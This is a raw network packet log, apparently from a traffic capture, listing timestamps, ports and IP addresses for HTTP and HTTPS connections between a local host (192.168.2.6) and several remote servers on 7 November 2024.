Nov 7, 2024 17:25:47.312086105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.312123060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312133074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312252045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312262058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312273026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312278032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.312284946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312313080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.312349081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312361002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312371016 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.312390089 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.312427044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.312427044 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313030958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313041925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313052893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313070059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313081980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313090086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313093901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313107967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313119888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313132048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313137054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313163996 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313229084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313292027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313327074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313338041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313426971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313447952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313460112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313469887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313488960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313500881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313510895 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313512087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313529015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313539028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313539982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313564062 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313616037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313630104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313642025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313652992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313663006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313673019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313685894 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313700914 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313710928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313714981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313724995 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313728094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313746929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313754082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313760996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313772917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313774109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313782930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313796043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313797951 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313807964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313818932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313822031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313849926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313849926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313868046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313879967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313889980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313894987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313915968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313966036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.313975096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313987017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.313997030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314017057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314028978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314038038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314045906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314045906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314049959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314076900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314133883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314145088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314153910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314161062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314166069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314177036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314179897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314188957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314203978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314244032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314244032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314316034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314343929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314353943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314371109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314423084 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314444065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314460039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314471960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314482927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314493895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.314512968 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.314547062 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.323332071 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.325072050 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.325087070 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.368300915 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.368325949 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.369040966 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.372586012 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.372606039 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.379081964 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379110098 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379154921 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.379168987 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379180908 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379204988 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.379204988 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.379245996 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.379457951 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379479885 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379517078 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379554033 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.379554033 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.379586935 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379602909 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.379929066 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.379951954 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.380002975 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.380002975 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.380011082 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.380033970 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.380146027 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.380162001 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.380170107 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.380672932 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.380841017 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.386760950 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.391704082 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.397785902 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.397842884 CET	443	49982	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.397947073 CET	49982	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.407733917 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.407749891 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.410557032 CET	49990	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.410562038 CET	443	49990	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.414139032 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.418096066 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.418263912 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:47.419265985 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.419318914 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.419573069 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.419766903 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.419766903 CET	49988	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.419779062 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.419787884 CET	443	49988	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.427221060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427242041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427254915 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427274942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427289009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427299976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427310944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427328110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.427387953 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.427439928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427453041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427464008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427504063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.427573919 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.427597046 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.427885056 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427900076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427917004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427931070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.427938938 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.427970886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427985907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.427999020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428005934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428020000 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428045988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428056002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428066015 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428077936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428095102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428106070 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428123951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428160906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428160906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428191900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428205013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428215981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428227901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428236008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428247929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428253889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428263903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428271055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428281069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428288937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428299904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428323030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428405046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428426027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428438902 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428443909 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.428447962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428461075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428487062 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.428492069 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.428492069 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428510904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428590059 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.428634882 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.428636074 CET	49989	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:47.428644896 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.428653955 CET	443	49989	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:47.428670883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428694963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428708076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428715944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428725958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428740025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428747892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428747892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428759098 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428767920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428781986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428788900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428797960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428808928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428841114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428841114 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428850889 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428862095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428880930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428891897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428900003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428905010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428916931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428930998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428945065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428956985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428963900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.428973913 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.428992033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429001093 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429001093 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429011106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429023981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429043055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429043055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429066896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429066896 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429073095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429084063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429095984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429117918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429117918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429167986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429178953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429189920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429198980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429236889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429236889 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429264069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429275036 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429286957 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429302931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429311037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429311037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429330111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429341078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429341078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429348946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429361105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429368019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429399967 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429399967 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.429925919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429939032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.429949999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430032969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430032969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430069923 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430080891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430093050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430114985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430125952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430135012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430145025 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430156946 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430166960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430172920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430222988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430315971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430326939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430337906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430351019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430360079 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430371046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430382013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430389881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430402994 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430408001 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430419922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430428982 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430447102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430461884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430468082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430497885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430510998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430510998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430521965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430533886 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.430541992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.430772066 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.458282948 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.458285093 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.458292961 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.458302021 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.458378077 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.458379030 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.458862066 CET	49983	443	192.168.2.6	20.125.209.212
Nov 7, 2024 17:25:47.458870888 CET	443	49983	20.125.209.212	192.168.2.6
Nov 7, 2024 17:25:47.459547043 CET	49999	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.459558010 CET	443	49999	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.460105896 CET	49998	443	192.168.2.6	52.182.143.214
Nov 7, 2024 17:25:47.460119009 CET	443	49998	52.182.143.214	192.168.2.6
Nov 7, 2024 17:25:47.465219021 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.465244055 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.465311050 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:47.465337038 CET	443	49987	20.75.60.91	192.168.2.6
Nov 7, 2024 17:25:47.468939066 CET	49987	443	192.168.2.6	20.75.60.91
Nov 7, 2024 17:25:47.468981028 CET	443	49987	20.75.60.91	192.168.2.6
